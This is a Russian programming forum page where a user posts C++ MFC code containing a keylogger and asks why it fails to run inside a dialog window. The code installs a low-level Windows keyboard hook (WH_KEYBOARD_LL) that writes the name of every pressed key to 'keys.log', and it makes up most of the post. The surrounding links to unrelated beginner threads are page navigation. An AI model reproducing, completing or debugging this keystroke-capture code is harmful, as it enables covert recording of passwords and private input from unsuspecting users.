Форум программистов, компьютерный форум CyberForum.ru

Local Function definitions are illegal - C++

Восстановить пароль Регистрация
Другие темы раздела
C++ Написать функцию, которая определяет, сколько раз в стеке встречается заданный символ http://www.cyberforum.ru/cpp-beginners/thread1160101.html
Написать функцию, которая определяет, сколько раз в стеке встречается заданный символ (СИМВОЛ ЗАДАЕТСЯ С КЛАВИАТУРЫ)
C++ IP адрес помогите написать программу для определения ip адреса и маску подсети http://www.cyberforum.ru/cpp-beginners/thread1160056.html
Сортировка структуры C++
Добрый день, нужна ваша помощь. Имеется программа, в которой вводишь название услуги, тип, стоимость и срок выполнения. Программа делает сортировку по названию(по алфавиту), и выводит отсортированные элементы. Нужно дополнить ее так, чтобы она выводила только те отсортированные названия, чья цена больше, чем средняя, т.е. (sp.stoimost>average_cost), а также сводную статистику о каждом типе...
Перевести L студентов с 1-й группы в другую (списки) C++
Даны 2 списка, содержащих фамилии студентов 2-х групп. Перевести L студентов с 1-й группы в другую. Число пересчета-К. Для меня списки - тема совсем новая. Прошу Вас помочь! Зарание спасибо.
C++ Ошибка [BCC32 Error] E2453 Size of the type 'int[]' is unknown or zero http://www.cyberforum.ru/cpp-beginners/thread1160002.html
Функция: int multiplication(int double_matrix1,int double_matrix2, int m, int n) //тут ошибка { int i,j,k; int rezult_matrix; for (i = 0; i < m; i++) { for (j = 0; j < n; j++) { for(k = 0; k < n; k++)
C++ Code::Blocks выдаёт ошибку там где её не должно быть Я решил написать простенькую программу по преобразованию градусов Цельсия в градусы Фаренгейта, а CodeBlocks выдаёт ошибку в строках 11 и 12.Что я сделал не так?:help: // Программа для преобразования // градусов Цельсия в градусы Фаренгейта // Fahrenheit = NCelsius * (212 - 32) / 100 + 32 // #include <stdio.h> #include <iostream> int main (int nNumberofArgs, char* pszArgs) { подробнее

Показать сообщение отдельно
Виктор
0 / 0 / 0
Регистрация: 28.04.2014
Сообщений: 2
28.04.2014, 16:18  [ТС]     Local Function definitions are illegal
Скобки стоят.

Не пойму как запустить саму функцию кейлогера. Вот если тело кейлогера пихаю в консольное приложение, тогда все работает, а в диалоговом окне MFC никак. Уже весь интернет облазил, третий день голову ломаю. Помогите, кто сможет.

Вот вынес код наружу, диалоговое окно запускается, ошибок нет, а функция кейлогера не работает. Такое ощущение, что код как бы не задействован вообще.


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#include "stdafx.h"
 
#define _WIN32_WINNT 0x0400
#include "700.h"
#include "700Dlg.h"
    #include <windows.h> 
    #include <winuser.h> 
    #include <stdio.h>
#include <afxdllx.h>
 
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
 
 
HHOOK hKeyHook;
 
  
 
CMy700Dlg::CMy700Dlg(CWnd* pParent /*=NULL*/)
    : CDialog(CMy700Dlg::IDD, pParent)
{
     
    m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
 
void CMy700Dlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
     
}
 
BEGIN_MESSAGE_MAP(CMy700Dlg, CDialog)
 
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
 
END_MESSAGE_MAP()
 
 
 
 
BOOL CMy700Dlg::OnInitDialog()
{
    CDialog::OnInitDialog();
 
 
    SetIcon(m_hIcon, TRUE);           
    SetIcon(m_hIcon, FALSE);       
     
  
    // TODO: Add extra initialization here
      
    return TRUE; 
}
 
 
 
void CMy700Dlg::OnPaint()
{
    if (IsIconic())
    {
        CPaintDC dc(this);
 
        SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
 
     
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;
 
         
        dc.DrawIcon(x, y, m_hIcon);
    }
    else
    {
        CDialog::OnPaint();
    }
}
 
 
HCURSOR CMy700Dlg::OnQueryDragIcon()
{
    return (HCURSOR) m_hIcon;
}
 
 
 
///////////////////////////////////////////////////// НАЧАЛО ПРОЦЕДУРЫ КЕЙЛОГЕРА 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
       
      int nCode,     
      WPARAM wParam,
      LPARAM lParam 
       
    ) { 
        if  ((nCode == HC_ACTION) &&    
            ((wParam == WM_SYSKEYDOWN) ||
            (wParam == WM_KEYDOWN)))
        { 
       
   
            KBDLLHOOKSTRUCT hooked = 
                *((KBDLLHOOKSTRUCT*)lParam); 
       
         
            DWORD dwMsg = 1; 
            dwMsg += hooked.scanCode << 16; 
            dwMsg += hooked.flags << 24; 
       
       
            char lpszName[0x100] = {0}; 
            lpszName[0] = '['; 
       
            int i = GetKeyNameText(dwMsg, 
                (lpszName+1),0xFF) + 1; 
       
            lpszName[i] = ']';
      
        
            FILE *file; 
            file=fopen("keys.log","a+"); 
            fputs(lpszName,file); 
            fflush(file); 
        } 
       
         
        return CallNextHookEx(hKeyHook, 
            nCode,wParam,lParam); 
       
    } 
 
 
 
void MsgLoop() 
    { 
        MSG message; 
        while (GetMessage(&message,NULL,0,0)) { 
            TranslateMessage( &message ); 
            DispatchMessage( &message ); 
        } 
    } 
 
 DWORD WINAPI KeyLogger(LPVOID lpParameter) 
    { 
       
    
        HINSTANCE hExe = GetModuleHandle(NULL); 
        if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
       
      
        if (!hExe) return 1; 
       
       
       
        hKeyHook = SetWindowsHookEx (
       
            WH_KEYBOARD_LL,
            (HOOKPROC) KeyEvent,
            hExe,
            NULL
        ); 
       
 
       
        MsgLoop(); 
        UnhookWindowsHookEx(hKeyHook); 
        return 0; 
    } 
 
 int main(int argc, char** argv) 
    { 
        HANDLE hThread; 
        DWORD dwThread; 
  
       
        hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
            KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
       
        if (hThread) { 
            return WaitForSingleObject(hThread,INFINITE); 
        } else { 
            return 1; 
        } 
    }
 ////////////////////////////////////////////////////// КОНЕЦ ПРОЦЕДУРЫ КЕЙЛОГЕРА
Добавлено через 1 час 8 минут
Неужели никто не сможет помочь ??
 
Текущее время: 17:24. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru